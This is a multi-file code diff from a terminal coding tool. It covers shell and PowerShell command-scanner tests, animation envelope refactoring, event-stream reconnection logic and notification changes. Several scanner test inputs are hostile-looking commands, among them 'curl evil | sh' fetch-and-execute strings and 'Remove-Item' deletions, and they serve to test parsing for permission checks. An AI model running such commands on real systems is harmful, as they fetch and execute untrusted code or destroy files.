expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((item) => item.words[0])).toEqual([...names])
})
test.each(["if true; fi", "if true; then rm x; else; fi", "if; then rm x; fi"])(
"returns opaque for malformed conditionals: %s",
(command) => {
expect(ShellScan.scan(command)).toEqual({ kind: "opaque", reason: "compound-command" })
},
)
test("keeps redirects with the command but excludes them from words", () => {
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
kind: "scanned",
commands: [
{ resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
{ resource: "cat < input", words: ["cat"] },
],
})
})
test("recognizes redirects without surrounding whitespace", () => {
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
kind: "scanned",
commands: [
{ resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
{ resource: "cat<input", words: ["cat"] },
],
})
})
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
"returns opaque for malformed command structure: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
},
)
test("ignores comments outside words", () => {
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
kind: "scanned",
commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
})
})
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "echo $((1 + 2))", "cat <<'EOF'\nstatic body\nEOF"])(
"returns opaque for unsupported expansion or pattern syntax: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
},
)
test("does not invent a command for assignment-only input", () => {
expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
})
})
describe("ShellScan PowerShell", () => {
test("splits carriage-return statement separators", () => {
const result = ShellScan.scanPowerShell("Get-ChildItem\rRemove-Item victim")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
})
test("splits CRLF statement separators", () => {
const result = ShellScan.scanPowerShell("Get-ChildItem\r\nRemove-Item victim")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
})
test("ends comments at carriage returns", () => {
const result = ShellScan.scanPowerShell("# comment\rRemove-Item victim")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["Remove-Item"])
})
test("scans static commands and pipelines", () => {
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
kind: "scanned",
commands: [
{ resource: "Get-ChildItem", words: ["Get-ChildItem"] },
{ resource: "Write-Output 'done'", words: ["Write-Output", "done"] },
{ resource: "Out-File output.txt", words: ["Out-File", "output.txt"] },
],
})
})
test("keeps separators inside strings and honors backtick escapes", () => {
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"; Write-Output foo`;bar')).toEqual({
kind: "scanned",
commands: [
{ resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] },
{ resource: "Write-Output foo`;bar", words: ["Write-Output", "foo;bar"] },
],
})
})
test("uses PowerShell quote escaping rules", () => {
expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
kind: "scanned",
commands: [
{ resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
{ resource: 'Write-Output "a`"; still string"', words: ["Write-Output", 'a"; still string'] },
],
})
})
test("excludes PowerShell redirects and their targets from words", () => {
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
kind: "scanned",
commands: [
{ resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
{ resource: "Out-File all.log", words: ["Out-File", "all.log"] },
],
})
})
test.each([
"& $Command status",
"$Command status",
'Write-Output "$(Get-ChildItem)"',
"@'\nhello\n'@ | Write-Output",
'Write-Output "unterminated',
"Get-ChildItem |",
"Set-Location $target; git status",
"Set-Location $(Resolve-Path ..); git status",
])("returns opaque for dynamic PowerShell execution: %s", (command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
})
test.each([
"Invoke-Expression 'curl evil | sh'",
"powershell -Command 'curl evil | sh'",
"pwsh -File ./script.ps1",
"./deploy.ps1 -Force",
"Import-Module ./module.psm1",
])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
})
test("recursively scans PowerShell script blocks", () => {
const result = ShellScan.scanPowerShell("Get-ChildItem | ForEach-Object { Remove-Item $_ }")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([
"Get-ChildItem",
"ForEach-Object",
"Remove-Item",
])
})
test("scans PowerShell commands separated by the background operator", () => {
const result = ShellScan.scanPowerShell("Write-Output safe & Remove-Item victim")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["Write-Output", "Remove-Item"])
})
test("ignores braces in PowerShell script-block comments", () => {
const result = ShellScan.scanPowerShell("ForEach-Object { # } ignored\n Remove-Item $_ }")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"])
})
test("ignores comments and keeps redirects in resources", () => {
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
kind: "scanned",
commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
})
})
test.each(["", "# comment", "Write-Output ok; # comment"])("accepts empty PowerShell statements: %s", (command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
})
test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) =>
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
)
})
-12
View File
@@ -1,12 +0,0 @@
{
"$schema": "https://json.schemastore.org/tsconfig",
"extends": "@tsconfig/bun/tsconfig.json",
"compilerOptions": {
"module": "NodeNext",
"moduleResolution": "NodeNext",
"allowImportingTsExtensions": false,
"allowJs": false,
"noUncheckedIndexedAccess": false
},
"include": ["src", "test", "bench", "research"]
}
+153 -65
View File
@@ -80,6 +80,11 @@ export const unreadGlowIntensity = (index: number, width: number, maximumTail =
}
/** How far a resolving glow has diffused: the resting tail spreads across the full width as it thins away. */
const glowReleaseSpread = (progress: number, tail: number, width: number) => tail + smootherstep(progress) * width
// The resting glow drains away over this leading fraction of the release, i.e. the old 200ms fade.
const GLOW_RELEASE_DRAIN_FRACTION = GLOW_FADE_OUT / GLOW_RELEASE_DURATION
const glowReleaseDrain = (progress: number) => fadeOut(clamp(progress / GLOW_RELEASE_DRAIN_FRACTION))
/** The diffusing glow swells gently above its resting level, then decays to nothing. */
const glowReleaseSwell = (progress: number) => attackDecay(progress, GLOW_RELEASE_ATTACK, GLOW_RELEASE_PEAK, 0)
export function blendTabPulseColor(
output: RGBA,
background: RGBA,
@@ -153,17 +158,87 @@ class Envelope {
return this.clock !== undefined
}
get progress() {
return this.clock === undefined ? undefined : this.clock / this.duration
}
level() {
return this.clock === undefined ? 0 : this.scale * this.shape(this.clock / this.duration)
}
}
// Hoisted so the per-frame liveness check allocates no closure.
const envelopeActive = (envelope: Envelope) => envelope.active
type GateStage = {
duration: number
shape: (progress: number) => number
}
/**
* A gated animation stage, in the synthesizer sense: trigger runs the attack shape and holds
* sustain at 1; release fades out from whatever level the stage had at note-off. Sustain is
* motionless, so only the attack and release phases count as animating.
*/
class GatedEnvelope {
private phase: "idle" | "attack" | "sustain" | "release"
private phaseClock = 0
// Level captured at note-off; only meaningful while releasing.
private releaseScale = 1
constructor(
private attackStage: GateStage,
private releaseStage: GateStage,
initial: "idle" | "sustain" = "idle",
) {
this.phase = initial
}
/** Note-on: run the attack from silence and hold sustain. */
trigger() {
this.phase = "attack"
this.phaseClock = 0
}
/** Note-off: fade out from the current level. */
release() {
if (this.phase === "idle") return
this.releaseScale = this.level
this.phase = "release"
this.phaseClock = 0
}
/** Halt mid-motion without a fade, e.g. when animations are disabled. */
settle(phase: "idle" | "sustain") {
this.phase = phase
this.phaseClock = 0
}
advance(delta: number) {
if (this.phase === "idle" || this.phase === "sustain") return
this.phaseClock += delta
const duration = this.phase === "attack" ? this.attackStage.duration : this.releaseStage.duration
if (this.phaseClock < duration) return
this.phase = this.phase === "attack" ? "sustain" : "idle"
this.phaseClock = 0
}
get level() {
if (this.phase === "idle") return 0
if (this.phase === "sustain") return 1
if (this.phase === "attack") return this.attackStage.shape(this.phaseClock / this.attackStage.duration)
return this.releaseScale * this.releaseStage.shape(this.phaseClock / this.releaseStage.duration)
}
get animating() {
return this.phase === "attack" || this.phase === "release"
}
get idle() {
return this.phase === "idle"
}
get releaseProgress() {
return this.phase === "release" ? this.phaseClock / this.releaseStage.duration : undefined
}
get noteOffLevel() {
return this.releaseScale
}
}
type PulseStateOptions = {
enabled: boolean
@@ -179,27 +254,16 @@ class PulseState {
private promptPulse: number
private complete: boolean
private glow: boolean
private clock = 0
private completionPending = false
private runAttack = new Envelope(RUN_ATTACK, smootherstep)
private runFade = new Envelope(RUN_FADE_OUT, fadeOut)
private sweepClock = 0
// Two gated voices: the running sweep and the unread glow. One-shots handle flash and completion.
private runEnvelope = new GatedEnvelope(
{ duration: RUN_ATTACK, shape: smootherstep },
{ duration: RUN_FADE_OUT, shape: fadeOut },
)
private glowEnvelope: GatedEnvelope
private completionPulse = new Envelope(COMPLETION_DURATION, completionPulseOpacity)
private edgeFlash = new Envelope(EDGE_FLASH_DURATION, (progress) => attackDecay(progress, EDGE_FLASH_ATTACK, 1, 0))
private ignition = new Envelope(GLOW_IGNITION_DURATION, glowIgnitionLevel)
private glowOff = new Envelope(GLOW_FADE_OUT, fadeOut)
// A resolving glow's send-off: a gentle swell that decays while the spatial profile diffuses outward.
private release = new Envelope(GLOW_RELEASE_DURATION, (progress) =>
attackDecay(progress, GLOW_RELEASE_ATTACK, GLOW_RELEASE_PEAK, 0),
)
private envelopes = [
this.runAttack,
this.runFade,
this.completionPulse,
this.edgeFlash,
this.ignition,
this.glowOff,
this.release,
]
constructor(options: PulseStateOptions) {
this.enabled = options.enabled
@@ -207,16 +271,28 @@ class PulseState {
this.promptPulse = options.promptPulse
this.complete = options.complete
this.glow = options.glow
if (this.enabled && this.active) this.runAttack.start()
// A glow that exists at mount holds sustain without an ignition flash, even when animations are off.
this.glowEnvelope = new GatedEnvelope(
{ duration: GLOW_IGNITION_DURATION, shape: glowIgnitionLevel },
{ duration: GLOW_RELEASE_DURATION, shape: glowReleaseDrain },
options.glow ? "sustain" : "idle",
)
if (this.enabled && this.active) this.runEnvelope.trigger()
}
get live() {
return this.enabled && (this.active || this.envelopes.some(envelopeActive))
return (
this.enabled &&
(this.active ||
this.runEnvelope.animating ||
this.glowEnvelope.animating ||
this.completionPulse.active ||
this.edgeFlash.active)
)
}
get running() {
if (!this.enabled) return 0
return this.active ? (this.runAttack.active ? this.runAttack.level() : 1) : this.runFade.level()
return this.runEnvelope.level
}
get completion() {
@@ -227,27 +303,34 @@ class PulseState {
return this.edgeFlash.level() * EDGE_FLASH_OPACITY
}
/** The resting glow's amplitude: ignition attack, sustain, or the draining note-off residue. */
get glowLevel() {
if (!this.glow) return this.glowOff.level()
return this.ignition.active ? this.ignition.level() : 1
return this.glowEnvelope.level
}
get releaseLevel() {
return this.release.level()
get glowReleaseProgress() {
return this.glowEnvelope.releaseProgress
}
get releaseProgress() {
return this.release.progress
/** The diffusing swell's amplitude; it rides above the glow it released from, never below its resting level. */
get glowReleaseSwell() {
const progress = this.glowEnvelope.releaseProgress
if (progress === undefined) return 0
return glowReleaseSwell(progress) * Math.max(1, this.glowEnvelope.noteOffLevel)
}
setEnabled(value: boolean) {
if (value === this.enabled) return false
this.enabled = value
if (!value) {
for (const envelope of this.envelopes) envelope.stop()
this.runEnvelope.settle("idle")
this.glowEnvelope.settle(this.glow ? "sustain" : "idle")
this.completionPulse.stop()
this.edgeFlash.stop()
this.completionPending = false
} else if (this.active) {
this.runAttack.restart()
// Re-enable resumes the sweep from its prior position, so no sweep clock reset here.
this.runEnvelope.trigger()
}
return true
}
@@ -257,15 +340,12 @@ class PulseState {
this.active = value
if (!this.enabled) return true
if (value) {
this.clock = 0
this.runAttack.restart()
this.runFade.stop()
this.sweepClock = 0
this.runEnvelope.trigger()
this.completionPulse.stop()
this.completionPending = false
} else {
const level = this.runAttack.active ? this.runAttack.level() : 1
this.runAttack.stop()
this.runFade.start(level)
this.runEnvelope.release()
this.completionPending = true
}
this.edgeFlash.start()
@@ -295,41 +375,46 @@ class PulseState {
setGlow(value: boolean) {
if (value === this.glow) return false
if (this.enabled && !value) {
// Resolving the glow sends it off: residual glow drains while the release diffuses outward.
this.glowOff.start(this.glowLevel)
this.release.restart(Math.max(1, this.glowLevel))
}
this.glow = value
this.ignition.stop()
if (this.enabled && value) {
this.glowOff.stop()
this.release.stop()
this.ignition.start()
// Without animations the glow still holds statically; it just skips the ignition and release motion.
if (!this.enabled) {
this.glowEnvelope.settle(value ? "sustain" : "idle")
return true
}
if (value) this.glowEnvelope.trigger()
else this.glowEnvelope.release()
return true
}
advance(deltaTime: number) {
if (!this.live) return
if (this.active || this.runFade.active) this.clock += deltaTime
for (const envelope of this.envelopes) envelope.advance(deltaTime)
// The sweep keeps coasting from note-on through the release fade.
if (!this.runEnvelope.idle) this.sweepClock += deltaTime
this.runEnvelope.advance(deltaTime)
this.glowEnvelope.advance(deltaTime)
this.completionPulse.advance(deltaTime)
this.edgeFlash.advance(deltaTime)
if (!this.completionPending) return
if (this.complete) {
this.completionPending = false
this.completionPulse.start()
return
}
if (!this.runFade.active) this.completionPending = false
if (this.runEnvelope.releaseProgress === undefined) this.completionPending = false
}
// Scratch tuple reused across frames so the steady-state render allocates nothing.
private sweepFronts: [number, number] = [0, 0]
fronts(width: number) {
const cycles = this.clock / RUN_DURATION
const cycles = this.sweepClock / RUN_DURATION
const progress = cycles % 1
const start = -RUN_HEAD
const end = width - 1 + RUN_TAIL
const secondProgress = cycles < 0.5 ? 0 : (cycles + 0.5) % 1
return [start + coast(progress) * (end - start), start + coast(secondProgress) * (end - start)] as const
this.sweepFronts[0] = start + coast(progress) * (end - start)
this.sweepFronts[1] = start + coast(secondProgress) * (end - start)
return this.sweepFronts
}
}
@@ -557,20 +642,20 @@ class TabPulseRenderable extends Renderable {
const completion = this.inner.completion
const flash = this.inner.flash
const glowLevel = this.inner.glowLevel
const releaseLevel = this.inner.releaseLevel
const releaseProgress = this.inner.glowReleaseProgress
const outerRunning = this.outer.running
const outerCompletion = this.outer.completion
const outerFlash = this.outer.flash
const outerGlowLevel = this.outer.glowLevel
const outerReleaseLevel = this.outer.releaseLevel
const outerReleaseProgress = this.outer.glowReleaseProgress
if (
glowLevel === 0 &&
releaseLevel === 0 &&
releaseProgress === undefined &&
running === 0 &&
completion === 0 &&
flash === 0 &&
outerGlowLevel === 0 &&
outerReleaseLevel === 0 &&
outerReleaseProgress === undefined &&
outerRunning === 0 &&
outerCompletion === 0 &&
outerFlash === 0
@@ -589,8 +674,11 @@ class TabPulseRenderable extends Renderable {
)
const glowTail = Math.min(this._glowTail, Math.max(1, this.width - 2))
const outerGlowTail = Math.min(this._outerGlowTail, Math.max(1, this.width - 2))
const releaseSpread = glowReleaseSpread(this.inner.releaseProgress ?? 0, glowTail, this.width)
const outerReleaseSpread = glowReleaseSpread(this.outer.releaseProgress ?? 0, outerGlowTail, this.width)
const releaseSwell = this.inner.glowReleaseSwell
const releaseSpread = releaseSwell === 0 ? 0 : glowReleaseSpread(releaseProgress!, glowTail, this.width)
const outerReleaseSwell = this.outer.glowReleaseSwell
const outerReleaseSpread =
outerReleaseSwell === 0 ? 0 : glowReleaseSpread(outerReleaseProgress!, outerGlowTail, this.width)
const flashTail = this._flashTail === undefined ? undefined : Math.min(this._flashTail, Math.max(1, this.width - 2))
const outerFlashTail =
this._outerFlashTail === undefined ? undefined : Math.min(this._outerFlashTail, Math.max(1, this.width - 2))
@@ -623,7 +711,7 @@ class TabPulseRenderable extends Renderable {
this._completionColor,
Math.max(
glowLevel === 0 ? 0 : glowIntensityAt(index, glowTail) * GLOW_OPACITY * glowLevel,
releaseLevel === 0 ? 0 : glowIntensityAt(index, releaseSpread) * GLOW_OPACITY * releaseLevel,
releaseSwell === 0 ? 0 : glowIntensityAt(index, releaseSpread) * GLOW_OPACITY * releaseSwell,
),
sweep,
flashTail === undefined ? flash : flash * tabFlashIntensity(index, flashTail),
@@ -642,7 +730,7 @@ class TabPulseRenderable extends Renderable {
this._outerCompletionColor,
Math.max(
outerGlowLevel === 0 ? 0 : glowIntensityAt(index, outerGlowTail) * GLOW_OPACITY * outerGlowLevel,
outerReleaseLevel === 0 ? 0 : glowIntensityAt(index, outerReleaseSpread) * GLOW_OPACITY * outerReleaseLevel,
outerReleaseSwell === 0 ? 0 : glowIntensityAt(index, outerReleaseSpread) * GLOW_OPACITY * outerReleaseSwell,
),
outerSweep,
outerFlashTail === undefined ? outerFlash : outerFlash * tabFlashIntensity(index, outerFlashTail),
+183 -18
View File
@@ -1,39 +1,177 @@
import type { OpenCodeClient, OpenCodeEvent } from "@opencode-ai/client"
import { createClientConnection } from "@opencode-ai/client/solid"
import { createGlobalEmitter } from "@solid-primitives/event-bus"
import { onCleanup } from "solid-js"
import { batch, onCleanup, onMount } from "solid-js"
import { createStore } from "solid-js/store"
import { errorMessage } from "../util/error"
import { createSimpleContext } from "./helper"
import { useLog } from "./log"
export type ClientConnectionStatus = "connected" | "connecting" | "reconnecting"
export type ClientConnectionEvent = {
readonly type: "client.connection"
readonly created: number
readonly data: {
readonly status: "connecting" | "connected" | "disconnected" | "reconnecting"
readonly attempt: number
readonly error?: string
}
}
type ManagedService = {
reconnect: (signal: AbortSignal) => Promise<{ api: OpenCodeClient }>
restart: () => Promise<void>
}
type ClientEventMap = { [Type in OpenCodeEvent["type"]]: Extract<OpenCodeEvent, { type: Type }> }
const connectTimeout = 2_000
const connectionHistoryLimit = 50
const eventFlushInterval = 10
export const { use: useClient, provider: ClientProvider } = createSimpleContext({
name: "Client",
init: (props: { api: OpenCodeClient; service?: ManagedService }) => {
const log = useLog({ component: "client" })
const service = props.service
const events = createGlobalEmitter<ClientEventMap>()
const abort = new AbortController()
const history: ClientConnectionEvent[] = []
let api = props.api
const connection = createClientConnection(api, {
reconnect: service
? async (signal) => {
api = (await service.reconnect(signal)).api
return api
}
: undefined,
onEvent(event) {
events.emit(event.type, event)
},
log,
const events = createGlobalEmitter<ClientEventMap>()
let pending: OpenCodeEvent[] = []
let flushTimer: ReturnType<typeof setTimeout> | undefined
const [connection, setConnection] = createStore<{
status: ClientConnectionStatus
attempt: number
error?: string
}>({
status: "connecting",
attempt: 0,
})
let stream: AbortController | undefined
function record(status: ClientConnectionEvent["data"]["status"], attempt: number, error?: string) {
history.push({ type: "client.connection", created: Date.now(), data: { status, attempt, error } })
if (history.length > connectionHistoryLimit) history.shift()
}
function flushEvents() {
flushTimer = undefined
const queued = pending
pending = []
batch(() => queued.forEach((event) => events.emit(event.type, event)))
}
function emit(event: OpenCodeEvent) {
pending.push(event)
if (flushTimer) return
flushTimer = setTimeout(flushEvents, eventFlushInterval)
}
async function connect(signal: AbortSignal, attempt: number) {
let connectedAt: number | undefined
// Bound the initial handshake and tie this request to the stream lifetime.
const request = new AbortController()
const cancel = () => request.abort(signal.reason)
const timeout = setTimeout(() => request.abort(new Error("Timed out connecting to server")), connectTimeout)
signal.addEventListener("abort", cancel, { once: true })
try {
// Open the event stream and validate its initial handshake.
record(attempt === 0 ? "connecting" : "reconnecting", attempt)
log.info("event stream connecting", { attempt })
const iterator = api.event.subscribe({ signal: request.signal })[Symbol.asyncIterator]()
const first = await iterator.next()
if (signal.aborted) return { error: undefined, connectedAt }
if (first.done) {
const error =
request.signal.reason instanceof Error ? request.signal.reason : new Error("Event stream disconnected")
return { error, connectedAt }
}
if (first.value.type !== "server.connected")
return { error: new Error("Event stream did not start with server.connected"), connectedAt }
// Publish the connected state before forwarding live events.
clearTimeout(timeout)
record("connected", attempt)
connectedAt = Date.now()
log.info("event stream connected")
emit(first.value)
setConnection({ status: "connected", attempt: 0, error: undefined })
// Forward events until the stream closes or this connection is cancelled.
while (!signal.aborted) {
const event = await iterator.next()
if (signal.aborted) return { error: undefined, connectedAt }
if (event.done) return { error: new Error("Event stream disconnected"), connectedAt }
if ("durable" in event.value)
log.debug("event", {
type: event.value.type,
aggregateID: event.value.durable.aggregateID,
seq: event.value.durable.seq,
})
emit(event.value)
}
return { error: undefined, connectedAt }
} catch (error) {
return { error, connectedAt }
} finally {
request.abort()
clearTimeout(timeout)
signal.removeEventListener("abort", cancel)
}
}
function start() {
stream?.abort()
const controller = new AbortController()
stream = controller
void (async () => {
let attempt = 0
while (!abort.signal.aborted && !controller.signal.aborted) {
const result = await connect(controller.signal, attempt)
if (abort.signal.aborted || controller.signal.aborted) return
if (result.connectedAt !== undefined && Date.now() - result.connectedAt >= 1_000) attempt = 0
attempt += 1
const message = errorMessage(result.error)
record("disconnected", attempt, message)
log.info("event stream disconnected", {
attempt,
error: message,
})
setConnection({ status: "reconnecting", attempt, error: message })
// Re-resolve the transport before retrying: the server may have
// moved (service restarted on a new port) or need starting. Static
// transports (--server, standalone) resolve to the same address.
if (props.service) {
const next = await props.service.reconnect(controller.signal).catch((error) => {
if (!controller.signal.aborted)
log.info("server resolution failed", {
attempt,
error: errorMessage(error),
})
})
if (abort.signal.aborted || controller.signal.aborted) return
if (next) {
api = next.api
if (attempt === 1) continue
}
}
await wait(1_000, controller.signal)
}
})()
}
onMount(start)
onCleanup(() => {
abort.abort()
stream?.abort()
if (flushTimer) clearTimeout(flushTimer)
pending = []
events.clear()
})
@@ -45,8 +183,35 @@ export const { use: useClient, provider: ClientProvider } = createSimpleContext(
on: events.on,
listen: events.listen,
},
connection,
restart: service?.restart,
connection: {
status() {
return connection.status
},
attempt() {
return connection.attempt
},
error() {
return connection.error
},
internal: {
history() {
return history.slice()
},
},
},
restart: props.service?.restart,
}
},
})
function wait(delay: number, signal: AbortSignal) {
return new Promise<void>((resolve) => {
const timer = setTimeout(done, delay)
signal.addEventListener("abort", done, { once: true })
function done() {
clearTimeout(timer)
signal.removeEventListener("abort", done)
resolve()
}
})
}
+1
View File
@@ -37,6 +37,7 @@ import type { Plugin } from "@opencode-ai/plugin/tui"
import { createStore, produce, reconcile } from "solid-js/store"
import { createSimpleContext } from "./helper"
import { useClient } from "./client"
import { nonEmptyToolContent } from "../util/tool-display"
import type { SessionInbox } from "@opencode-ai/schema/session-inbox"
import { Worktree } from "@opencode-ai/schema/worktree"
import { createEffect, createSignal, onCleanup } from "solid-js"
+11 -2
View File
@@ -110,10 +110,19 @@ function createStorage(root: string, channel: string) {
},
}
const watcher = watch(directory, () => entries.forEach((entry) => entry.reload()))
let reload: ReturnType<typeof setTimeout> | undefined
const watcher = watch(directory, () => {
clearTimeout(reload)
// Atomic writes notify for the temporary file before its final rename, and some
// platforms coalesce the rename event. Reload after the event burst has settled.
reload = setTimeout(() => entries.forEach((entry) => entry.reload()), 50)
})
return {
storage,
close: () => watcher.close(),
close: () => {
clearTimeout(reload)
watcher.close()
},
}
}
@@ -24,7 +24,6 @@ export default Plugin.define({
const errored = new Set<string>()
const terminal = new Set<string>()
const forms = new Set<string>()
const questions = new Set<string>()
const permissions = new Set<string>()
const started = (sessionID: string) => {
@@ -50,13 +49,6 @@ export default Plugin.define({
}),
context.data.on("form.replied", (event) => forms.delete(event.data.id)),
context.data.on("form.cancelled", (event) => forms.delete(event.data.id)),
context.data.on("question.asked", (event) => {
if (questions.has(event.data.id)) return
questions.add(event.data.id)
notify(context, event.data.sessionID, "Question needs input", "question")
}),
context.data.on("question.replied", (event) => questions.delete(event.data.requestID)),
context.data.on("question.rejected", (event) => questions.delete(event.data.requestID)),
context.data.on("permission.asked", (event) => {
if (permissions.has(event.data.id)) return
permissions.add(event.data.id)
+6 -2
View File
@@ -1530,9 +1530,13 @@ function BackgroundToolHint(props: { messages: SessionMessageInfo[] }) {
return name === "shell" || name === "subagent"
})
if (!current || !part) return
return `${current.id}:${part.id}`
return { key: `${current.id}:${part.id}`, started: part.time.ran ?? part.time.created }
})
const visible = createDelayedPresence(running, BACKGROUND_TOOL_HINT_DELAY)
const visible = createDelayedPresence(
running,
(tool) => Math.max(0, BACKGROUND_TOOL_HINT_DELAY - (Date.now() - tool.started)),
(previous, next) => previous.key === next.key && previous.started === next.started,
)
return (
<Show when={visible() && shortcut()}>
{(value) => (
+23 -5
View File
@@ -1,14 +1,32 @@
import { createEffect, createSignal, onCleanup, type Accessor } from "solid-js"
import { createEffect, createMemo, createSignal, onCleanup, type Accessor } from "solid-js"
export function createDelayedPresence<T>(source: Accessor<T | undefined>, delay: number) {
export function createDelayedPresence<T>(
source: Accessor<T | undefined>,
delay: number | ((value: T) => number),
equals?: (previous: T, next: T) => boolean,
) {
const [visible, setVisible] = createSignal(false)
const value = equals
? createMemo(source, undefined, {
equals: (previous, next) => {
if (previous === undefined || next === undefined) return previous === next
return equals(previous, next)
},
})
: source
createEffect(() => {
const value = source()
const current = value()
setVisible(false)
if (value === undefined) return
if (current === undefined) return
const timer = setTimeout(() => setVisible(true), delay)
const remaining = typeof delay === "function" ? delay(current) : delay
if (remaining <= 0) {
setVisible(true)
return
}
const timer = setTimeout(() => setVisible(true), remaining)
onCleanup(() => clearTimeout(timer))
})
@@ -1,6 +1,6 @@
import { describe, expect, test } from "bun:test"
import Notifications from "../../../../src/feature-plugins/system/notifications"
import type { OpenCodeEvent, PermissionAsked, QuestionAsked } from "@opencode-ai/client"
import type { OpenCodeEvent, PermissionAsked } from "@opencode-ai/client"
import type { AttentionNotifyOptions, Context } from "@opencode-ai/plugin/tui/context"
type Session = { id: string; title: string; parentID?: string }
@@ -58,14 +58,6 @@ async function setup() {
}
}
function question(id: string, sessionID = "session"): QuestionAsked["data"] {
return {
id,
sessionID,
questions: [],
}
}
function form(id: string, sessionID = "session"): Extract<OpenCodeEvent, { type: "form.created" }>["data"]["form"] {
return {
id,
@@ -123,13 +115,6 @@ function executionFailed(id: string, sessionID = "session"): OpenCodeEvent {
}
}
const questionNotification: AttentionNotifyOptions = {
title: "Demo session",
message: "Question needs input",
notification: { when: "blurred" },
sound: { name: "question", when: "always" },
}
const formNotification: AttentionNotifyOptions = {
title: "Input requested",
message: "Input needs response",
@@ -155,7 +140,7 @@ const permissionNotification: AttentionNotifyOptions = {
}
describe("internal notifications TUI plugin", () => {
test("notifies for form, question, and permission requests with blurred notifications and always-on sounds", async () => {
test("notifies for form and permission requests with blurred notifications and always-on sounds", async () => {
const harness = await setup()
harness.emit({
@@ -164,10 +149,9 @@ describe("internal notifications TUI plugin", () => {
type: "form.created",
data: { form: { ...form("form-1"), title: "Confirm deployment" } },
})
harness.emit({ id: "event-2", created: 0, type: "question.asked", data: question("question-1") })
harness.emit({ id: "event-3", created: 0, type: "permission.asked", data: permission("permission-1") })
expect(harness.notifications).toEqual([titledFormNotification, questionNotification, permissionNotification])
expect(harness.notifications).toEqual([titledFormNotification, permissionNotification])
})
test("notifies for global forms once the TUI can render them", async () => {
@@ -183,7 +167,7 @@ describe("internal notifications TUI plugin", () => {
expect(harness.notifications).toEqual([globalFormNotification])
})
test("dedupes pending forms, questions, and permissions until they are resolved", async () => {
test("dedupes pending forms and permissions until they are resolved", async () => {
const harness = await setup()
harness.emit({ id: "event-1", created: 0, type: "form.created", data: { form: form("form-1") } })
@@ -196,16 +180,6 @@ describe("internal notifications TUI plugin", () => {
})
harness.emit({ id: "event-4", created: 0, type: "form.created", data: { form: form("form-1") } })
harness.emit({ id: "event-5", created: 0, type: "question.asked", data: question("question-1") })
harness.emit({ id: "event-6", created: 0, type: "question.asked", data: question("question-1") })
harness.emit({
id: "event-7",
created: 0,
type: "question.replied",
data: { sessionID: "session", requestID: "question-1", answers: [] },
})
harness.emit({ id: "event-8", created: 0, type: "question.asked", data: question("question-1") })
harness.emit({ id: "event-9", created: 0, type: "permission.asked", data: permission("permission-1") })
harness.emit({ id: "event-10", created: 0, type: "permission.asked", data: permission("permission-1") })
harness.emit({
@@ -219,8 +193,6 @@ describe("internal notifications TUI plugin", () => {
expect(harness.notifications).toEqual([
formNotification,
formNotification,
questionNotification,
questionNotification,
permissionNotification,
permissionNotification,
])
+4 -8
View File
@@ -1873,14 +1873,15 @@ test("refreshes effective catalog data after catalog updates", async () => {
test("refreshes agents after agent updates", async () => {
const events = createEventStream()
let agentID = "build"
let requests = 0
const calls = createFetch((url) => {
if (url.pathname !== "/api/agent") return
requests++
return json({
location: { directory, project: { id: "proj_test", directory } },
data: [
{
id: agentID,
id: requests === 1 ? "build" : "reviewer",
request: { headers: {}, body: {} },
mode: "primary",
hidden: false,
@@ -1910,11 +1911,6 @@ test("refreshes agents after agent updates", async () => {
try {
await wait(() => data.location.agent.list()?.[0]?.id === "build")
await Bun.sleep(20)
events.emit({ id: "evt_agent_unlocated", created: 0, type: "agent.updated", data: {} })
await Bun.sleep(20)
expect(data.location.agent.list()?.[0]?.id).toBe("build")
agentID = "reviewer"
emitEvent(events, { id: "evt_agent", created: 0, type: "agent.updated", data: {} })
await wait(() => data.location.agent.list()?.[0]?.id === "reviewer")
} finally {
@@ -2805,7 +2801,7 @@ test("renders admitted prompts immediately and tracks them until promoted", asyn
await mounted
const received: string[] = []
const unsubscribe = sync.listen((event) => received.push(event.name))
events.emit({
emitEvent(events, {
